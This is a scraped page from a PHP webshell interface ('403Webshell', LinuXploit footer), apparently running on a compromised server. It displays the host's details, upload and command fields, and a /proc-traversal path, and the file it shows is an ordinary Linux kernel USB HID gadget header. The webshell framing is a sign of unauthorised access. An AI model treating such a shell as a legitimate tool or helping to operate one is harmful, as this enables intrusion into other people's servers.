403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1/cwd/proc/thread-self/root/usr/include/linux/usb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1/cwd/proc/thread-self/root/usr/include/linux/usb/g_hid.h
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */

#ifndef __UAPI_LINUX_USB_G_HID_H
#define __UAPI_LINUX_USB_G_HID_H

#include <linux/types.h>

/* Maximum HID report length for High-Speed USB (i.e. USB 2.0) */
#define MAX_REPORT_LENGTH 64

/**
 * struct usb_hidg_report - response to GET_REPORT
 * @report_id: report ID that this is a response for
 * @userspace_req:
 *    !0 this report is used for any pending GET_REPORT request
 *       but wait on userspace to issue a new report on future requests
 *    0  this report is to be used for any future GET_REPORT requests
 * @length: length of the report response
 * @data: report response
 * @padding: padding for 32/64 bit compatibility
 *
 * Structure used by GADGET_HID_WRITE_GET_REPORT ioctl on /dev/hidg*.
 */
struct usb_hidg_report {
	__u8 report_id;
	__u8 userspace_req;
	__u16 length;
	__u8 data[MAX_REPORT_LENGTH];
	__u8 padding[4];
};

/* The 'g' code is used by gadgetfs and hid gadget ioctl requests.
 * Don't add any colliding codes to either driver, and keep
 * them in unique ranges.
 */

#define GADGET_HID_READ_GET_REPORT_ID   _IOR('g', 0x41, __u8)
#define GADGET_HID_WRITE_GET_REPORT     _IOW('g', 0x42, struct usb_hidg_report)

#endif /* __UAPI_LINUX_USB_G_HID_H */

Youez - 2016 - github.com/yon3zu
LinuXploit